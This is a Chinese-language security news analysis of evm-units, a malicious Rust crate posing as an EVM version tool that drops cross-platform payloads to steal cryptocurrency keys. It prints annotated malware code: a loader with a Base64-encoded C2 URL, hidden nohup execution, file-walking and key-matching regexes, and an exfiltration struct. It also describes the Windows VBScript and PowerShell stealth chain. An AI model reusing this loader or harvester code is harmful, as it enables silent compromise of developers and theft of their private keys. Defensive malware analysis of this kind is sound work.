摘要

在 Crates.io 註冊中心發現惡意的 Rust crate evm-units ,代表著軟體供應鏈攻擊發展中的一個重大事件。這個 crate 偽裝成以太坊虛擬機 (Ethereum Virtual Machine, EVM) 版本控制的工具,但實際上是用來在 Windows、Linux 和 macOS 環境中部署並執行特定平台的 malicious payload [1]。本報告提供了對此攻擊機制的詳細技術分析,著重於多階段的執行流程、針對每個作業系統所採用的隱蔽技術,以及在類似惡意 crate 中觀察到的常見 payload 功能(主要目標是竊取敏感的加密貨幣金鑰)。本分析強調了 threat actor 在跨平台入侵和資料外傳方面所展現的技術複雜性。

Rust 開發者當心!供應鏈被下毒:惡意程式碼如何竊取你的 Ethereum Private Key? | 資訊安全新聞

1. 威脅簡介

軟體供應鏈攻擊,即惡意程式碼被植入到廣泛使用的軟體元件中,對現代開發生態系統構成了關鍵威脅。Rust 程式語言以其對記憶體安全的重視和高效能而聞名,此類攻擊的案例有所增加,通常利用 typosquatting 或隱藏的程式碼注入 [2]。 evm-units 事件是一個多階段攻擊的典型範例,其中最初的惡意套件充當載入器,用於更強大、具備平台感知能力的第二階段 malicious payload。對於攻擊者而言,核心技術挑戰是確保在不同的作業系統上靜默、持續地執行,而不觸發使用者警報或基本的安全監控 [1]。

2. 階段 1:跨平台載入器機制

初次的入侵是透過 crate 的主要函式 get_evm_version() 執行的,該函式設計為透過回傳一個虛擬版本號碼來顯得合法。此函式是整個惡意序列的 entry point。

2.1 混淆與 Command and Control (C2) 初始化

為了規避簡單的靜態分析Command and Control (C2) 伺服器 URL 並非以純文字儲存。相反地,它是以 Base64 編碼 儲存在函式本體內 [1]。這種技術是一種低成本但有效的混淆形式。

以下程式碼片段說明了解碼程序,這是攻擊鏈中的第一步:

  1. pub fn get_evm_version() -> u8 {
  2. // [Annotation] Base64 encoded C2 URL. This simple obfuscation technique is used to bypass
  3. // basic string-matching security scanners and delay detection.
  4. let encoded = "aHR0cHM6Ly9kb3dubG9hZC52aWRlb3RhbGtzLnh5ei9ndWkvNmRhZDMvaWQ9NTI0NDU0NDExMjQyNzk3OCZzZWNyZXQ9TkJ5VVpydXRER29T";
  5. let input = encoded.as_bytes();
  6. // [Annotation] Standard Rust/Base64 decoding process. The result is the URL for the
  7. // second-stage payload download.
  8. let mut reader = DecoderReader::new(input, &general_purpose::STANDARD);
  9. let mut buffer = Vec::new();
  10. let _ = io::copy(&mut reader, &mut buffer);
  11. let decoded = match String::from_utf8(buffer) {
  12. Ok(s) => s,
  13. Err(_) => {
  14. // [Annotation] Error handling returns 0, maintaining the facade of a benign function.
  15. return 0;
  16. }
  17. };
  18. // [Annotation] Asynchronously executes the platform-specific check function with the decoded URL.
  19. let rt = Runtime::new().unwrap();
  20. let _ = rt.block_on(check(&decoded));
  21. // [Annotation] Returns a hardcoded version number to complete the disguise.
  22. return VERSION;
  23. }

解碼後的 URL 接著傳遞給 check() 函式,該函式利用 Rust 的條件編譯來根據目標作業系統客製化執行。

2.2 平台特定的執行與隱蔽技術

此 crate 使用 #[cfg(target_os = "...") 展現了對如何透過利用原生系統工具實現不同平台上的 stealth execution 的複雜理解,這是一個通常被稱為 Living Off the Land (LOLBins) 的概念。

Linux 和 macOS 的 Stealth Execution

對於類似 Unix 的系統,malicious payload 會下載到系統的暫存目錄(例如, /tmp/init )。然後,執行會委託給 nohup 命令,這對於持久性和隱蔽性至關重要 [1]。

  1. // [Annotation] Code snippet for Linux execution. The macOS version is nearly identical,
  2. // substituting "bash" with "osascript" for native AppleScript execution.
  3. #[cfg(target_os = "linux")]
  4. async fn check(chsum: &String) -> bool {
  5.     // ... payload download logic ...
  6.     let mut cmd = Command::new("nohup");
  7.     unsafe{
  8.         let _ = cmd.args([
  9.             "bash", // For macOS, this would be "osascript"
  10.             scpath.to_str().unwrap(),
  11.             "&" // [Annotation] Runs the command in the background.
  12.         ])
  13.         // [Annotation] Redirects standard output, input, and error streams to null.
  14.         // This prevents any console output or error messages from alerting the user.
  15.         .stdout(Stdio::null())
  16.         .stdin(Stdio::null())
  17.         .stderr(Stdio::null())
  18.         .spawn(); // [Annotation] Spawns the process without waiting for it to complete.
  19.     }
  20.     true
  21. }

結合 I/O 重新導向 ( Stdio::null() ) 使用 nohup 可確保第二階段 malicious payload 在背景靜默執行,與終端機 Session 分離,從而最大化攻擊者的機會之窗。

Windows 的 Stealth Execution

Windows 的執行路徑更為複雜,採用多層方法來繞過安全措施並實現隱藏視窗狀態 [1]。流程包括: 1.  下載 malicious payload 作為 PowerShell 腳本 ( init.ps1 )。 2.  建立 VBScript 檔案 ( init.vbs ) 作為封裝器 (wrapper)。 3.  執行 VBScript,VBScript 再以隱藏視窗樣式執行 PowerShell 腳本。

VBScript 封裝器是在 Windows 上實現 windowless execution 的經典技術。它利用 WScript.Shell 物件來執行 PowerShell 命令,並將視窗樣式設定為 0 (hidden),有效地防止控制台視窗閃爍或對使用者保持可見。

此外,Windows 程式碼在繼續最終執行之前,會檢查特定防毒程序 ( qhsafetray.exe ) 的存在 [1]。這是一種 anti-analysis target-profiling 機制,暗示 threat actor 可能試圖避免在這種特定安全軟體盛行的環境中被偵測到。

3. 階段 2:Malicious Payload 功能與金鑰竊取

一旦執行,第二階段 malicious payload,根據對類似惡意 Rust crates 的分析 [2],通常專注於單一、高價值的目標:竊取加密貨幣錢包金鑰。此階段的特點是遞迴的檔案系統遍歷和高度特定的 regular expression 匹配。

3.1 檔案系統遍歷與目標鎖定

Malicious payload 經設計會遞迴掃描檔案系統,特別鎖定開發者專案目錄內的 Rust 原始程式碼檔案 ( .rs ) [2]。這確保了任何敏感資料,例如 hardcoded key 或種子,都會從整合了惡意 crate 的環境中被擷取。

  1. // [Annotation] Simplified recursive function for file system traversal.
  2. pub async fn pack_directory<P: AsRef<Path>>(&self, dir_path: P) -> Result<(), Box<dyn std::error::Error>>{
  3. let path = dir_path.as_ref();
  4. // [Annotation] The primary target is files with the .rs extension, indicating
  5. // Rust source code where developers might store sensitive variables.
  6. if path.is_file() && path.extension().map_or(false, |ext| ext == "rs") {
  7. self.pack_file(path).await?;
  8. return Ok(());
  9. }
  10. if path.is_dir() {
  11. for entry in fs::read_dir(path)? {
  12. // ... recursive logic ...
  13. }
  14. }
  15. Ok(())
  16. }

3.2 進階的 Regex 式金鑰擷取

Malicious payload 中技術上最重要的元件是使用高度調整的 regular expressions 來準確識別並從原始程式碼中擷取加密貨幣金鑰 [2]。惡意軟體針對三種不同的格式,展現了對 Web3 開發空間中最常見金鑰類型的關注:

  1. Ethereum 私鑰 (Private Keys): 使用匹配 0x 前綴後跟 64 個十六進位字元的模式進行鎖定。這是 Ethereum 私鑰的標準長度和格式。
  2. Base58 Tokens: 使用匹配由 Base58 字母組成的 32 到 44 個字元之間的字串的模式進行鎖定。此範圍是 Solana 公鑰、位址或其他 Base58 編碼祕密的特徵。
  3. 括號位元組陣列 (Bracketed Byte Arrays): 鎖定用於捕獲通常在 Rust 程式碼中儲存為十六進位值陣列的原始金鑰位元組或嵌入式助記詞。

這些 regex 模式的精確度對於最大限度地提高有效金鑰的產量同時最大限度地減少誤判至關重要。

  1. // [Annotation] Regex patterns used for key harvesting.
  2. // The use of raw string literals (r"""...""") is common in Rust for complex regex.
  3. // [Annotation] Targets quoted 0x + 64 hex characters, the standard format for an Ethereum private key.
  4. let hex_regex = Regex::new(r"""0x[0-9a-fA-F]{64}""")?;
  5. // [Annotation] Targets Base58 tokens (32-44 characters), which aligns with Solana keys/addresses.
  6. // The character set [1-9A-HJ-NP-Za-km-z] is the standard Base58 alphabet.
  7. let base58_regex = Regex::new(r"""[1-9A-HJ-NP-Za-km-z]{32,44}""")?;
  8. // [Annotation] Targets bracketed byte arrays, e.g., [0x12, 0xAB, ...], which may contain raw key data.
  9. let byte_array_regex = Regex::new(r"""(?:\\s*0x[0-9a-fA-F]{1,2}\\s*,?)+\\s*\]|(?::\\s*\\w+\\s*\{)?\\s*\\w+\\s*:\\s*\[(?:\\s*0x[0-9a-fA-F]{1,2}\\s*,?)+\\s*\]""")?;

3.3 資料封裝與外傳協定

成功擷取後,敏感資料會被精心地封裝成結構化格式,例如 FoundItem struct [2]。此 struct 為攻擊者提供了必要的 metadata,包括金鑰的類型、實際的值、檔案 Path 以及找到它的行號。

  1. // [Annotation] Data structure for packaging stolen information before exfiltration.
  2. #[derive(Debug, Serialize, Deserialize)]
  3. pub struct FoundItem {
  4. pub item_type: String, // e.g., "hex_string", "base58_string"
  5. pub value: String,
  6. pub file_path: String, // Crucial for the attacker to trace the source of the key.
  7. pub line_number: usize,
  8. }

收集到的項目隨後被序列化成 JSON payload,並透過 HTTP POST request 外傳到 hardcoded C2 端點 [2]。外傳程序通常是非同步的,並且包含最少的錯誤檢查,優先考慮速度和隱蔽性而非可靠性。

4. 多階段攻擊的架構概覽

整個攻擊序列是多階段供應鏈入侵的經典範例。最初的 crate 充當一個小的、看似良性的 dropper,然後下載並執行一個更大、功能更強的 malicious payload。該架構旨在最大限度地擴大影響範圍並在主要的作業系統上最大限度地減少偵測。

下圖說明了從 crate 整合到資料外傳的端到端流程:

graph TD A[Developer Integrates
Malicious Crate evm-units] --> B("Call to
get_evm_version()"); B --> C(Base64
Decode C2 URL); C --> D{"OS Check:
#[cfg(target_os = ''...'')]"}; D -- Linux/macOS --> E[Download Payload to
/tmp/init]; D -- Windows --> F[Download Payload to
init.ps1]; E --> G[Execute via
nohup bash/osascript -
Silent]; F --> H[Execute via init.vbs wrapper
- Hidden Window]; G --> I(Stage 2 Payload Execution:
Key Harvester); H --> I; I --> J(Recursive File Traversal:
Targeting *.rs files); J --> K(Regex Matching:
ETH Keys,
Solana Keys,
Byte Arrays); K --> L(Data Packaging:
FoundItem Struct); L --> M[Exfiltration:
HTTP POST to
C2 Endpoint];

5. 結論

evm-units 事件強調了在套件註冊中心和開發者環境中加強安全措施的關鍵需求。該攻擊的技術優勢在於其使用原生作業系統功能 ( nohup , VBScript/PowerShell) 進行的 跨平台 stealth execution ,以及透過精確 regular expressions 進行的 高度針對性資料竊取 。這種方法允許 threat actor 實現靜默、持續的存取,並精確擷取高價值資產(加密貨幣金鑰)。從簡單的 typosquatting 轉向多階段、具備平台感知能力的載入器,代表著針對 Rust 生態系統的軟體供應鏈威脅複雜程度顯著升級。緩解策略必須專注於對依賴行為的動態分析,特別是網路連接和系統 shell 命令的呼叫,以便在這些隱藏的執行模式導致安全漏洞之前檢測到它們。